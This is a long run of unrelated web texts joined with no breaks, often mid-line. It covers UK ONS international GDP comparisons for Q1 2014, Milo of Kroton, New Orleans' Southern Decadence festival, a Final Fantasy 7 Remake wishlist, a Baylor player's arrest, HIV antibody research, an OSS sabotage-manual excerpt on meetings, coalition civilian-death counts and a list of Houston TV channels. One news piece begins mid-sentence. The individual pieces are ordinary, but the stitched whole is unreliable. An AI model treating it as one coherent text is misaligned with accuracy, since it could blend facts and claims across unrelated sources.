International Comparisons for Q1 2014 In Q1 2014, GDP for the Eurozone and the European Union (EU 28) grew by 0.2% and 0.3% respectively quarter-on-quarter (see Table 2 and Figure 17). This is the fourth consecutive quarter both economies have grown. When compared to Q1 2013, GDP for the Eurozone expanded by 0.9%, while GDP for the European Union grew by 1.4% (see Figure 18). Following 0.7% quarterly growth in Q4 2013, GDP for the United States of America contracted by 0.2% in Q1 2014, the first time the economy has contracted since 2011. GDP for the United States of America grew by 2.0% between Q1 2013 and Q1 2014. The Japanese economy grew by 1.6% in Q1 2014, making five consecutive quarters of positive growth, and increased by 2.8% between Q1 2013 and Q1 2014. Table 2: International GDP quarterly growth rate comparisons for selected economic areas chained volume measure, seasonally adjusted EU28 Eurozone France Germany Japan United Kingdom United States of America Q1 2012 0.0 -0.1 0.2 0.7 1.0 0.0 0.9 Q2 2012 -0.2 -0.3 -0.3 -0.1 -0.6 -0.4 0.3 Q3 2012 0.0 -0.2 0.3 0.2 -0.8 0.8 0.7 Q4 2012 -0.4 -0.5 -0.3 -0.5 0.0 -0.2 0.0 Q1 2013 0.0 -0.2 0.0 0.0 1.3 0.4 0.3 Q2 2013 0.4 0.3 0.6 0.7 0.7 0.8 0.6 Q3 2013 0.3 0.1 -0.1 0.3 0.3 0.8 1.0 Q4 2013 0.4 0.3 0.2 0.4 0.1 0.7 0.7 Q1 2014 0.3 0.2 0.0 0.8 1.6 0.8 -0.2 Table source: Office for National Statistics Download table XLS format
(29 Kb) Figure 17: International GDP growth rates, quarter-on-quarter Source: Office for National Statistics Download chart XLS format
(23 Kb) Figure 18: International GDP growth rates, quarter on same quarter a year ago Source: Office for National Statistics Download chart XLS format
(22 Kb) Figure 19 shows GDP for the UK, EU, the United States of America and Japan, all indexed to Q1 2008 (the pre-downturn peak in the UK).
Figure 19: International GDP growth rates, quarter-on-quarter, indexed to Q1 2008=100 Source: Office for National Statistics Download chart XLS format
(20 Kb) More detailed information on these estimates can be found on the Eurostat website. Information on the estimates for the United States of America can be found on the Bureau of Economic Analysis website, while information on the estimates for Japan can be found on the Japanese Cabinet Office website.
Sector Accounts Revisions, Previously Published 28 March 2014 Sector accounts revisions are shown in Annex H (30.5 Kb Excel sheet) of this release.Athletes' Stories Milo of Kroton
Theagenes of Thasos
Diagoras of Rhodes
Polydamas of Skotoussa
Melankomas of Caria Milo of Kroton Wrestler
Six-time Olympic victor: Won once in boys' wrestling, 60th Olympiad, 540 BCE five-time wrestling champion from 62nd to 66th Olympiad, 532 to 516 BCE
The most illustrious of athletes... Strabo, Geography, 6.1.12 It is no great thing to possess strength, whatever kind it is, but to use it as one should. For of what advantage to Milo of Kroton was his enormous strength of body?... Diodorus Siculus, Historical Library, 9.14.1 One of the most legendary athletes in the ancient world, Milo of Kroton, wore the victor's crown at Olympia no less than six times. Born in southern Italy, where Greece had many colonies, Milo won the boys' wrestling contest in 540 BCE.
Boston 01.8109
Side A: boy victor and man.
From Caskey & Beazley, plate L. With permission of the Museum of Fine Arts, Boston. He returned eight years later to win the first of five consecutive wrestling titles, a feat that seems incredible by modern standards. Rarely do modern-day Olympians compete in more than two or three Olympiads over the course of a career. Much like the boxer George Foreman, Milo resisted retirement: By the time of the 67th Olympiad in 512 BCE, Milo was probably forty or more years old but he competed anyhow. The challenger won not by overpowering Milo, but by avoiding the older wrestler and wearing him out. According to our ancient sources, Milo enjoyed showing off his unrivaled strength. For instance, he would clasp a pomegranate in his hand and have others try to take it away from him. Even though he was holding it so tightly that no one could remove it, he never damaged the fruit. Sometimes, he would stand on a greased iron disk and challenge others to push him off of it. Another of his favorite exhibitions was tying a cord around his forehead, holding his breath, and breaking the cord with his bulging forehead veins. Other times, the wrestler would stand with his right arm at his side, his elbow against him, and hold out his hand with thumb pointed upwards and fingers spread. No one could successfully bend even his little finger.
Olympia L191
Stone of the weight lifter Bybon with inscription "Bybon son of Phola (?), has lifted me over [his] head with one hand." 316 lbs., sandstone. Early 6th century BC.
Photograph by Maria Daniels, courtesy of the Archaeological Museum of Olympia and the Greek Ministry of Culture. Milo excelled even in warfare. When a neighboring town attacked Kroton, Milo entered the battle wearing his Olympic crowns and dressed like Herakles, in lion's skin and brandishing a club, and led his fellow citizens to victory.
Tampa 82.11.1
Side A: Herakles at left.
Photograph by Maria Daniels, courtesy of the Tampa Museum of Art A follower of the famous philosopher Pythagoras, Milo once saved his friends. It happened that the roof of the hall where the Pythagoreans were meeting began to collapse. Milo stood and supported the central pillar until the others escaped to safety and then dashed out, saving himself. In the end, however, all of this fame and strength did not save Milo from a less than glorious death. Milo was wandering through the forest when he found an old tree trunk with wedges inserted into it. In an attempt to test his strength, Milo placed his hands and, perhaps his feet, into the cleft of the trunk and tried to split apart the wood. He succeeded in loosening the wedges, which fell out, but the trunk closed on his hands, trapping him. There, according to the tale, he fell prey to wild beasts. Take me to the next story! To read more about these topics, see Further Resources. This exhibit is a subset of materials from the Perseus Project database and is copyrighted. Please send us your comments.Get On The Web Limited some years ago registered for its websites, portals and projects a number of generic domain names (including this one), which are now no longer required. We are offering for sale the domain name MHOC.COM.
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said.
Tony Leggio, who has helped raise funds to cover the costs of some of the free public events including Sunday’s walking parade through the Quarter, describes Southern Decadence as “a big, gay version of Mardi Gras.”
“It’s a celebration of gay culture that’s fun and held in a city that’s very welcoming,” he said. “It’s a unique one-of-a-kind event. I don’t know if any other city could handle it.”
The event includes a float parade, which was held Friday, a walking parade on Sunday, several block parties and outdoor concerts and talent shows and costume contests. Most of the events are free; some held at area businesses may require a cover charge.
This year’s theme is “Swimming with the Gods and Goddesses.” But because it’s usually so hot in New Orleans, most who participate “don’t wear a whole lot,” Leggio said.
“Body paint is very popular,” he said, laughing. “Still you’re likely to see a lot of Greek gods or water-themed costumes.”
Not everything associated with the festival, however, is just for fun.
So far organizers have raised about $30,000 for charitable groups that support the gay community — the LBGT Plus Archives Project of Louisiana “to preserve the past,” the Louisiana Equality Foundation “to preserve the present” and the PFLAG New Orleans Scholarship Fund “to preserve the future,” Naquin said.
In addition, the NO-AIDS Task Force, which works to promote safe sex, will be out in force, he said.
Sunday’s parade will also include the flag that was at the Supreme Court, when the justices legalized same-sex marriage in June, he said.
“The plaintiffs in that case will walk that flag during the parade,” Naquin said. “That is so significant. My partner and I never dreamed that we would see (gay marriage) in our lifetimes. This couldn’t have happened at a more appropriate year.”
Naquin and his partner, who’ve been together for 42 years, are the first legally same-sex married couple to reign as grand marshals for the event.
© 2015, Associated Press, All Rights Reserved.
This material may not be published, broadcast, rewritten, or redistributed.
This Story Filed UnderEarlier today, Twitchy covered the ridiculousness that is Salon when they tweeted out a story ALL IN CAPS about how the GOP won’t give up their guns. It was rather dramatic and silly, which may be Salon’s new slogan, we’re not entirely sure.
From Salon:
The left-wing views of the alleged shooter might be surprising to some, but they shouldn’t be. The gun industry and the National Rifle Association market guns with promises that owning guns will make a customer feel manly and powerful, and that fantasy has a power that can transcend political boundaries. And no one knows better than gun industry leaders how feelings of political frustration caused by seeing your preferred candidate lose an election can be channeled into a pitch to buy more guns.
Huh? So are they saying the Left wants to feel manly and powerful?
The stupid, it burns.
Disarm yourselves, Republicans. It's what the shooter would have wanted and shouldn't we honor that? https://t.co/ZBDz9GGc56 — Mary Katharine Ham (@mkhammer) June 16, 2017
Sometimes I can't decide if it's my favorite or least-favorite part of Twitter how many people have no idea you're agreeing w them. — Mary Katharine Ham (@mkhammer) June 16, 2017
There is no favorite or least-favorite part, there is only Twitter.
Whoa, we just totally went Jedi, it must be Friday.
Would be nice if there was some separate tier of Twitter where you had to demonstrate some ability to discern irony. — Frank J. Fleming (@IMAO_) June 16, 2017
Would be a super limited version of Twitter and man, what would we have to write about?
What makes Ham’s slam so perfect is she is not only mocking Salon but hammering home the idea that bad guys WANT good guys disarmed.
Unfortunately the Left just can’t (or won’t) figure that out.
Related:
Wait, WHAT? Salon can’t believe even that after the shooting ‘GOP WON’T LISTEN’
YAAAS! Charles C.W. Cooke takes on horde of gun control zealots, EMBARRASSES them one-by-oneThe Chicago Bulls are officially active this offseason. Today the Bulls announced that they have moved center Cameron Bairstow to the Detroit Pistons for guard Spencer Dinwiddie.
This is not a trade that will turn heads and it certainly won't help the Bulls turn magically into a title contender again. Both of these players were at the end of the bench for their respective teams before this trade, and potentially were going to be waived this summer. Bairstow, who achieved next to nothing in Chicago, will probably be waived by the Pistons before his salary becomes guaranteed on July 25th. Dinwiddie's deal is non-guaranteed until November and even then his cap hit is less than a million, so this is a 'free' look through training camp.
As for Dinwiddie as a player, there is a lot of mystery. The guard from Colorado averaged 4.8 points in his time with the Pistons but only appeared in 12 games this season and had one postseason appearance. He was stuck behind Steve Blake and Brandon Jennings at the backup point guard spot and really didn't have a shot at some major playing time (though that he couldn't beat out Steve Blake says a lot). Dinwiddie is still a young player, just turning 23 in April, and will probably take some time to develop into an NBA player. As noted by his D-League coach Otis Smith, Dinwiddie is still a work in progress in the eyes of many around the league.
"But he sees and thinks himself into a corner sometimes and you have to help him through that process and call him out on it. You have to talk to him a lot."
He missed three months of the 2015-16 season with an ankle injury. Here is what the Pistons SB Nation blog said about the point guard when he returned back from injury on March 12th.
Dinwiddie is not lighting quick, but he is 6-foot-6 and understands how to stay in front of his man to deny penetration. He still is prone to get lost in space and struggles in rotation, but that seems to have more to do with lack of playing time than lack of basketball IQ.
It's tough to justify how Dinwiddie makes the Bulls a whole lot better, but this is a good move. Dinwiddie is big and can stay in front of his man on defense, something we have seen Chicago point guards struggle with last season. If anything, Dinwiddie can be a good rotation player for Chicago and help add to the bench depth which was so awful last season. And if not, he'll be waived like Bairstow would've been anyway.If you're looking for yet another place to get your new $35 Chromecast, give your local Best Buy a ring. At least one lucky fellow was able to successfully buy the device from a Best Buy in South Carolina. Calls placed to several stores would indicate that's not the only one. However, most stores are expecting stock to arrive in the next day or two.
Full-size Best Buy stores are getting 20-30 Chromecasts in the first batch – high-traffic stores may get an extra allotment. If there are no stores nearby with stock, the Best Buy website also lists the Chromecast now. Whatever route you take, the device is $35 just like it is from Google Play.
The Chromecast has free shipping from Best Buy, but you'll still have to pay tax. Maybe this will tide you over until the Nexus 7 ships.
[Google+ 1, 2, 3, 4, Best Buy – Thanks, Henry Averette III, Andrew Darling YouTube]Share. From a new script to better mini-games, here's what we want from the game 20 years in the making. From a new script to better mini-games, here's what we want from the game 20 years in the making.
Square-Enix made a major impact during Sony's E3 2015 press conference by officially revealing Final Fantasy 7 Remake, a game RPG fans have been asking for for the better part of two decades. The teaser shown showcased a gorgeous depiction of Midgar, confirmed that a handful of the original development leads are returning, and closed with a glimpse of Cloud and Barret. Square's Shinji Hashimoto told IGN that this isn't a simple remaster, but rather a full-on remake, which got us thinking about what changes we'd love to see made to the PS1 classic.
Completely New Localization
Exit Theatre Mode
Final Fantasy 7’s story, characters, and world are among the most iconic in video games, but in hindsight its writing, from both translation and stylistic standpoints, is a mess. Throw the old script out, hold onto its values for dear life, and tell the same story in a better way.
Sephiroth’s melodrama is incomprehensible at times, so his motivations aren’t always lucid. Barret Wallace’s localization is both an unfortunate series of racial stereotypes and generally challenging to read. FF7 has numerous phrases along the lines of Barret’s "Y'all Shinra're the VERMIN, killing the planet! And that makes you King VERMIN! So Shu'up jackass!” and that personality comes at the expense of good communication with the player.
Final Fantasy 7 needs is a stronger script that can balance personality, clarity, and character depth in equal measure. Remake is where that should happen.
Full Voice Cast
Exit Theatre Mode
Part of the writing problems would be solved with performances -- actors delivering quirky personal touches to these characters comes off much better in voice than in text. Besides, this is a modern RPG, and there are standards -- you expect these people to behave like people, so a full voice cast is essential for Final Fantasy 7 Remake. Advent Children gave life to Sephiroth, Cloud, Barret, Tifa, and co., for better in some cases than others. Whether we see the original voices or bring on some fresh blood isn’t as important as having great VO. Square Enix already knows a great deal of wonderful actors from previous Final Fantasy games -- here’s to you, Troy Baker, Laura Bailey, Nolan North, and Liam O’Brien. Hopefully we’ll see you together soon.
Redone Soundtrack
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Of Nobuo Uematsu’s many spectacular scores, Final Fantasy 7 is probably his most recognizable and memorable. Its themes for characters, cities, and events are burned into our brains -- but we remember this music sounding better than it does. It’s still a terrific soundtrack, but the fidelity isn’t what it could be. The PlayStation-era brass, woodwinds, and choir deserve a modern symphonic treatment, the sort that really underscores thematic elements like fear, power, and hope. Live renditions of Final Fantasy 7’s soundtrack are an entirely different beast from the original CD -- and Final Fantasy 7 Remake would benefit mightily from a remade score.
This is one of Uematsu’s most recognizable scores, but the PlayStation’s limitations mean the organs sound like squealing pigs, woodwinds sound like bloops, and this is actually surprisingly bad now that I’m listening to this -- meanwhile, in concert (and covers) it’s unbelievably powerful, dark, scary, and brought to life
Make the Mini-Games Actually Good
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Final Fantasy 7 is full of mini-games, but few of them were enjoyable or worth the time and effort. With any luck, remaking the entirety of FF7 also applies to these side activities -- which could definitely become fun distractions. G Bike and Chocobo racing, as well as snowboarding, are interesting concepts, but lack the necessary quality to be worthwhile. It’s silly to snowboard as Cloud, ride a Chocobo to victory, arm wrestle, or shoot hoops, but Square obviously cared enough to add a lot of this stuff to FF7 -- so let’s play goofy great games instead of wasting time on something similar to throwaway modern mobile shovelware.
If handled correctly, the Gold Saucer could completely take over our lives for dozens of hours at a time.
Deeper Story
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Let’s not pretend for a second that Final Fantasy 7 isn’t a rich, complex game with a deep story. We’re not saying Remake needs to finally give this shallow simpleton some meaning -- we want even more because what’s there is already excellent.
Crisis Core explored a huge, important part of Final Fantasy 7’s history with Zack in the spotlight, giving us more insight into the relationship between him, Aeris, and Cloud. Exploring that within Final Fantasy 7 Remake is an opportunity to bring a forgotten or overlooked game’s greatness into a place where every fan can experience it.
If you’re going to remake Final Fantasy 7, it had better be the definitive, all-encompassing, and final version of the modern classic. You can secure that by bringing more of the strong outside fiction into the mainline story -- and Remake will be all the better for it.
Let's Change That Twist
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So spoilers: one of the main characters of Final Fantasy 7 dies halfway through the game. The first time we witnessed Aeris fall at the sword of Sephiroth, we were left with our mouths agape. It may seem a bit played out in 2015, but having such a central, playable character die halfway through a story was a huge deal 20 years ago. What we're proposing with the Remake is that Square take the impact of this moment, but turn it onto its head. What if instead of Aeris dying halfway through the game, Cloud is the one who Sephiroth strikes down? Imagine how the second half of Final Fantasy 7 would unfold from the flower girl's perspective as opposed to the moody SOLDIER?
So many of us remember FF7's story beat-for-beat, so it'd be great for Square to still have some narrative surprises up its sleeves.
Deeper Battle System
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This is the big one that we're sort of stumped on. While we dug FF7's Materia system back in 1997, it definitely seems a bit simplistic 20 years later. Couple this with the fact that recent Square games like Lightning Returns, Type-0, and Final Fantasy XV have taken a decidedly-more action-oriented approach to combat, and we get the feeling the Remake is going to ditch the classic ATB system in favor of something more real time. Episode Duscae proved that Square has found a fantastic balance between its more methodical RPG roots, and an exciting fast-paced system. Crisis Core on PSP laid the groundwork, and we have a feeling that Remake is going to push the combat over the top.
Those are seven things we'd love to see in the Final Fantasy 7 remake, but what do you think? Let us know what changes want to see Square make, and what elements of the game should remain untouched.
Mitch Dyer is an Editor at IGN. He hosts IGN Arena, a podcast about MOBAs. Talk to Mitch about Dota 2, movies, books, and other stuff on Twitter at @MitchyD and subscribe to MitchyD on Twitch.
Marty Sliva is a Senior Editor at IGN. He once ate a whole blueberry. Follow him on Twitter @McBiggitty.Suspended Baylor defensive back Travon Blanchard is in trouble once again.
The 22-year-old Blanchard, who has been suspended indefinitely from team activities pending an investigation into domestic violence accusations against him, was arrested and charged with assault family violence after an alleged incident involving his girlfriend, McLennan County Sheriff Parnell McNamara said, via Waco, Texas, television station KWTX.
According to police, Blanchard's warrant for arrest was issued out of Fort Bend County outside of Houston, but he was arrested at his home near the main Waco campus.
Baylor said in a statement released following Blanchard's arrest Tuesday the school is aware of his latest arrest.
"Travon Blanchard was suspended from all team activities immediately after learning of allegations made against him in February," the statement read. "That status has not changed and he has had no involvement with the program since that time. The university is aware of the arrest made today in connection with the previous allegations against Blanchard and will monitor the developments of this charge for any additional decision regarding his affiliation as a student-athlete."
Baylor's statement is reffering to a protective order issued against Blanchard and filed in February leading to his suspension. The order, issued by a McClennan County judge, says Blanchard engaged in multiple acts of violence against a woman with whom he had a relationship and that there was a "threat of family violence in the future."
Those incidents allegedly dated back to at least July of last year, according to the affidavit, which also states that Blanchard controlled "many aspects of the applicant’s life."
Blanchard, a 6-2, 205-pound nickelback, has started the last two seasons for the Bears and was the team's fourth-leading tackler last season as a junior.
This is another stain on a Baylor football program rocked last year by a sexual assault scandal, in which at least 52 acts of rapes were said to occur over a four-year period and involved at least 31 football players, according to a lawsuit filed against the school.Mats Wilander made an interesting comparison between the teenager Denis Shapovalov and two legends of men's tennis. The 1988 US Open champion commented on Shapovalov's big potential in an interview to Reuters.
'He is a serious talent. To be 100 percent honest, you cannot compare Shapovalov to any other youngster. He is a completely different level. It’s like watching a combination of Nadal and Federer at 18 years old.
He has the fire of Nadal and the speed around the court of Nadal and he has the grace of Federer - it’s unbelievable. He really captivates the crowd. Last night it was like ‘Oh my god, where does this kid come from?’ He flies.
I’m really really impressed. The best players in the world better watch out for him now.' Last month Shapovalov beat Juan Martín del Potro and Rafael Nadal among the others to reach Montreal semifinals and now at the US Open, starting from the qualifying draw, he reached third round winning five matches.
ALSO READ: Denis Shapovalov: 'I thank you to USTA for making me play on Ashe Stadium'Boris Heger
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THE scientific study of AIDS has dropped out of the headlines over the past year or two. The disease is still a mass killer, but the drugs used to combat it have become cheaper, and the mechanisms for getting them to the infected, most of whom live in poor countries (predominantly African ones), have got better. As to prevention, circumcision—though by no means a complete answer—has been shown to reduce a man's risk of becoming infected with HIV, the virus that causes the disease, and thus helps slow down the rate of transmission. The drugs, too, seem to do that, by reducing the number of viruses in an individual's body.
That is all good news. But it brings the field no nearer to what is really needed—a vaccine that will stop people getting infected in the first place. The last big vaccine trial, known as STEP, ended in failure in 2007. It may even have promoted susceptibility to the virus it was trying to curb. AIDS-vaccine researchers seemed to be running out of both ideas and hope. But a paper published in this week's Science shows that neither of those things is true. There are still original ideas around. And there is also a revival of hope.
The paper in question has been published by a team led by Laura Walker of the Scripps Research Institute, in San Diego, and Sanjay Phogat of the International AIDS Vaccine Initiative (IAVI), in New York. It confirms that there is a weakness in HIV's armour, and unveils weapons that might be able to exploit it.
The weapons in question are called broadly neutralising antibodies (known as bNAbs in the trade). These are antibodies that deactivate a wide range of HIV strains—which is particularly important for an effective vaccine, because HIV is so variable. Until now, though, those bNAbs which have been identified have not been broad enough. They have been effective only against strains circulating outside Africa. Moreover, no new bNAb has been found for more than a decade.
The two new ones reported by Dr Walker and Dr Phogat are the first fruits of a project called Protocol G, one of several multi-centre investigations into various aspects of AIDS that IAVI is helping to organise. This particular project is looking specifically for bNAbs in volunteers from seven African countries (Côte d'Ivoire, Kenya, Nigeria, Rwanda, South Africa, Uganda and Zambia) and from America, Australia, Britain and Thailand.
The antibodies in question were found by screening blood serum from 1,800 volunteers from these countries. The researchers have zeroed in on antibodies that react with part of the virus called its spike. This consists of two sugar-protein molecules known as gp120 and gp41 that react with a protein called CD4, which is found on the surface of certain cells of the immune system. The reaction grants the virus entry to the cell. That is why HIV infects immune-system cells, rather than other sorts.
With the aid of two biotechnology firms, Monogram Biosciences of South San Francisco and Theraclone Sciences of Seattle, Dr Walker, Dr Phogat and their colleagues tested all their serum samples for anti-HIV activity, picked the top 10%, extracted all the antibodies from each of these samples, tracked down the cells that made each antibody, found the relevant genes, snipped them out, cloned them into other, faster-reproducing cells, made usable samples of pure antibody from each of these clones, and tested the results to see if they could stop HIV from docking with cells that have CD4 on their surfaces. Two such antibodies (both from the same donor and dubbed PG9 and PG16) could.
The next stage is to find out exactly which bits of the spike PG9 and PG16 lock onto. This knowledge is needed to design a chemical that looks enough like the relevant spike element to prompt the immune system to make antibodies that will neutralise it. That chemical might, just, be the basis of a vaccine. And if it is not, everyone involved hopes that Protocol G will soon throw up more bNAbs, and that they will help refine the search for HIV's weak spot. For unless it turns out to have one, the search for a vaccine could go on for ever.Do you ever feel like your workplace is being sabotaged? Well, it just might if any of your colleagues are adhering to a formerly classified Office of Strategic Services document, the “Simple Sabotage Field Manual.”
America’s enemies will always innovate and the intelligence apparatus has always sought to evolve to counter changing threats. The sabotage manual was one of those means – originally distributed to field officers, it was quickly declassified and made available to ordinary citizens in the countries of America’s enemies – individuals who disagreed with their home country’s wartime policies.
Information included in the 32-page document included tips on recruiting possible saboteurs. The guide outlined personal motivations and how to encourage destructiveness. The manual highlights the kind of field work intelligence agencies are known for. Despite the advent of modern technology and its influence, such tactics are still in practice.
Some of the tips in the simple sabotage manual are clearly dated, others apply today, particularly the section on “Organizations and Conferences.” As someone who has worked in the Pentagon, I cringed when I read it, as it would appear that foreign spies are infiltrating almost every DoD meeting as we speak. Here’s an excerpt:
(a) Organizations and Conferences
(1) Insist on doing everything through "channels." Never permit short-cuts to be taken in order to expedite decisions.
(2) Make "speeches," Talk as frequently as possible and at great length. Illustrate your points by long anecdotes and accounts of personal experiences. Never hesitate to make a few appropriate patriotic comments.
(3) When possible, refer all matters to committees, for "further study and consideration." Attempt to make the committees as large as possible – never less than five.
(4) Bring up irrelevant issues as frequently as possible.
(5) Haggle over precise wordings of communications, minutes, resolutions.
(6) Refer back to matters decided upon at the last meeting and attempt to re-open the question of the advisability of that decision.
(7) Advocate "caution." Be reasonable" and urge your fellow-conferees to be "reasonable" and avoid haste which might result in embarrassments or difficulties later on.
(8) Be worried about the propriety of any decision – raise the question of whether such action as is contemplated is within the jurisdiction of the group or whether it might conflict with the policy of some higher echelon.
Reminding you of any recent meetings in your organization? Perhaps the intelligence community became the victim of its own tradecraft somewhere along the way – at least in the way of regularly scheduled business meetings. Specific advice given to employees and supervisors was also familiar:
1. Managers and Supervisors: To lower morale and production, be pleasant to inefficient workers; give them undeserved promotions. Discriminate against efficient workers; complain unjustly about their work.
2. Employees: Work slowly. Think of ways to increase the number of movements needed to do your job: use a light hammer instead of a heavy one; try to make a small wrench do instead of a big one.
As we’ve asked before – are their spies among us? Well, the OSS manual for simple sabotage might lead you to be a little more paranoid about that colleague who’s always urging caution at meetings.
Lindy Kyzer is the editor of ClearanceJobs.com. She loves cybersecurity, social media, and the U.S. military. Have a conference, tip, or story idea to share? Email editor@clearancejobs.com.What if you were searching the Web and there was a dedicated section of search results with relevant content written by your personal contacts? If you take part in a new "experiment" from Google Labs called Social Search, that's exactly what you'll get. As long as you're logged into your Google account and your contacts have added links to their Google profiles, Social Search will supplement your normal search results with info from those close to you.
Why would you possibly want something like this? There are a few scenarios we can think of. Often when you're searching the Web, there's so much information thrown at you that it can be hard to filter the quality of the results—content from your friends is probably more valuable to you than stuff from some random people on the other side of the world. So, for example, if you want a killer recipe for a casserole and search for "broccoli casserole," you'll still get your normal search results. But below them, you'll also get a section that says "Results from people in your social circle for broccoli casserole" and a list of links to your friends' blogs with their own killer recipes, all in one convenient place.
Another scenario is one outlined by the Official Google Blog—you might be searching for information about a certain locale (New York, in this case) and your friends might have posted some tourist tips that are of more interest to you than the typical smattering of search results. According to Google, Social Search will only aggregate publicly available information (worry not about your private postings) and yes, you could find that info on your own if you went around to every blog and searched for "New York"—the point is to collect that content together in one place to make your search results more relevant.
Of course, there are downsides to Social Search. For one, it only includes links from people who are listed as your Google contacts—your mom, who may not have a Google account, won't be included—or those you're connected to through certain social services. (For example, Social Search shows me results from Hot Doug's, an awesome encased meat emporium in Chicago, because Hot Doug's is someone I follow on Twitter).
Needless to say, there might be a few more steps involved than the average person might take, meaning that it's likely only the geekiest of your friends will show up in Social Search for now.
Still, we went into this thinking Social Search would be yet another boring social networking aggregator, but were surprised to find otherwise. Getting search results from people I know and associate with is really cool, and helps make Google's search results more valuable to me. Google says Social Search should be available to everyone today, but you have to sign up through Google Labs before the results will start showing up.An ongoing review of air and artillery strikes found another 51 civilians were killed by the US-led coalition in Iraq and Syria, pushing the total toll to at least 786.
In a statement Thursday, the coalition said that in September it completed an analysis of 127 reports of civilian deaths dating back to when international operations to defeat the Islamic State group got underway in late 2014.
Most reports were deemed "non-credible" or duplicative, but 16 had merit, the coalition found.
"To date, based on information available, (the coalition) assesses at least 786 civilians have been unintentionally killed by coalition strikes since the start" of the campaign, the statement read.
Among the many reports the coalition examined last month was a March 20 strike on an IS building in Tabqa, Syria, that left 10 civilians dead.
And a June 25 strike in Mayadin in eastern Syria killed 12 civilians when an IS-held building was hit.
"Although all feasible precautions were taken and the decision to strike complied with the law of a rmed conflict, unintended civilian casualties unfortunately occurred," the statement read.
Observers say the US-led coalition has been taking greater risks with civilian lives since President Donald Trump took office and gave the military greater leeway in how it conducts strikes, but officials insist the rules of engagement are unchanged.
s Raqa on October 20, 2017 (photo by: BULENT KILIC/AFP/File)
The coalition conducted 27,566 strikes between September 2014 and September 2017.
During this time, 1,266 reports of civilian casualties were made, but the coalition found only 194 of these to be credible.
The coalition also noted that more than 95 percent of the territory once held by IS in Iraq and Syria has been liberated.
Aside from probing civilian death reports that came in from coalition pilots and through social media and other channels including IS claims, military investigators also are scrutinizing a backlog of hundreds of allegations reported by the website Airwars.org.
The London-based collective of journalists and researchers has always had civilian death tolls that are wildly divergent from those acknowledged by the coalition, putting the number killed in US-led strikes at 5,637 as of Thursday.I mentioned there was some chatter about a Google update on May 2nd but now we are seeing even more chatter and signs of flux in the Google search results on May 7th.
These signs of shifts in rankings, spikes in crawl rates, often, but not always, are early warning signs of a major Google update happening in the near future.
Here are flux/volatility charts from MozCast, SERPS.com, SearchMetrics and Algoroo:
All show similar patterns for the most part.
The chatter in the forums, including the ongoing WebmasterWorld thread follow these patterns also.
I did ask Matt Cutts if there was an update, but no response yet:
@mattcutts did you do an update on may 7th? :) — Barry Schwartz (@rustybrick) May 8, 2014
I would not be surprised if Google launches something big soon on the algorithm side. It seems they are testing something big.
Forum discussion at WebmasterWorld.
Update: Google told us nothing is going on and there was no update.YouTube has been awash lately with filmed good times from the last Just Cause 2 multiplayer mod beta; a rolling montage of unfeasible feats conducted using a combination of grappling hooks, military jets and oversized bottles of propane gas. Now another has been announced, for tomorrow morning – scarcely enough time to pack thousands of parachutes into a tiny, tiny backpack.
Public beta opens tomorrow at 8am GMT, and will run for the next 48 hours.
Just Cause developer Avalanche are “thrilled” with the mod, and have pledged to integrate something similar if the game ever gets another sequel.
I’ll be up at the crack of eight to jump in, open a parachute, close it, attach myself to a distant motorbike and drive it off a cliff to my death. Will you?Full power stations should be seen by antenna viewers across Houston.
Low power stations’ reception varies greatly depending on distance from tower
All stations broadcast from the Missouri City antenna farm unless otherwise noted.
All stations are on the UHF band except KUHT, KHOU, KTRK and KDHU-LD, which are in the VHF band. RF channels are the physical channels occupied by the station; use the channels listed below to tune to the station.
KPRC (RF 35)
2.1 NBC (Comcast 12/612 HD, U-verse 2/1002 HD, Charter 2/780 HD, Consolidated 2/702 HD) (also on Dyle)
2.2 MeTV(Comcast 320, Charter 105)
2.3 Heroes & Icons
KBTX (RF 50) (Bryan/College Station; transmitter on FM 244 north of Anderson; signal visible in NW Harris County)
3.1 CBS
3.2 CW
KUHT (RF 8)
8.1 PBS (Comcast 8/608 HD, U-verse 8/1008 HD, Charter 8/788 HD, Consolidated 8/705 HD)
8.2 Create(Comcast 323, Charter 81)
8.3 PBS Kids(Comcast 324, Charter 82)
8.4 PBS World
8.5 Turning Sight into Sound Radio(live stream)
8.6 KUHA Classical 91.7
8.7 KUHF News 88.7
8.8 KUHF Mixtape
KUVM-LD (RF 22) (Low power)
10.1 Liquidation Channel
10.2 Sonlife TV (live stream on main page)
10.3 Guide US TV
10.4 color bars
10.5 OnTV 4U infomercials
10.6 Peace TV
10.7 color bars
KHOU (RF 11)
11.1 CBS (Comcast 11/611 HD, U-verse 11/1011 HD, Charter 11/786 HD, Consolidated 11/701 HD) (also on Dyle)
11.2 Bounce TV (Comcast 310)
11.3 Justice Network
11.4 Quest TV
KTRK (RF 13)
13.1 ABC (Comcast 13/613 HD, U-verse 13/1013 HD, Charter 13/781 HD, Consolidated 13/703 HD)
13.2 Live Well(Comcast 685 HD, Charter 183 HD)
13.3 Laff
KETH (RF 24)
14.1 TBN (Comcast 14, U-verse 14/560/1560 HD, Charter 14, Consolidated 10)
14.2 The Church Channel(U-verse 565)
14.3 Smile of a Child / JCTV(U-verse 570)
14.4 TBN Enlace USA(Consolidated 24, U-verse 3078)
14.5 TBN Salsa
KVVV-LD (RF 15) (Low power)
15.1 The Word Network
15.2 AMEN TV
15.3 Salem TV
15.4 3ABN Latino (live stream)
15.5 The Family Channel
15.6 Infomercials
15.7 BNT
15.8 Vineyard
15.9 ABN
15.10 Mercy TV
KTXH (RF 19)
20.1 MyNetworkTV (Comcast 4/604 HD, U-verse 4/1004 HD, Charter 12/787 HD, Consolidated 4)
20.2 Movies!
20.3 Decades
20.4 Buzzr
KVQT-LD (RF 21) (Low power)
21.1 ConexZion TV
21.2 Familia TV
21.3 Kingdom Advancement Network
21.4 Infomercials
21.5 Infomercials
21.6 General entertainment
21.7 Infomercials
KLTJ (RF 23)
22.1 Daystar(Comcast 20/322, U-verse 563, Charter 16)
KRIV (RF 26)
26.1 Fox (Comcast 9/609 HD, U-verse 9/1009 HD, Charter 6/784 HD, Consolidated 9/784 HD) (coming to Dyle)
26.2 Light TV
KUGB-CA (RF 28) (Low power)
28.1 GEB America
28.2 WON TV
28.3 A-Life TV
28.4 Lift TV
28.5 Spanish infomercials
28.6 LATV
28.7 V Life TV
28.8 Poder y Milagros TV (Spanish religious)
28.9 Mega TV
28.10 Jewelry TV
28.11 Infomercials
28.12 Infomercials
KCVH-LD (RF 30) (Low power)
30.1 Aleluya TV
30.2 Fancam
KUVM-CD (RF 34) (Low power)
34.1 MundoMax (U-verse 34)
34.2 Maj TV
34.3 Rev’n TV
34.4 HOT-TV
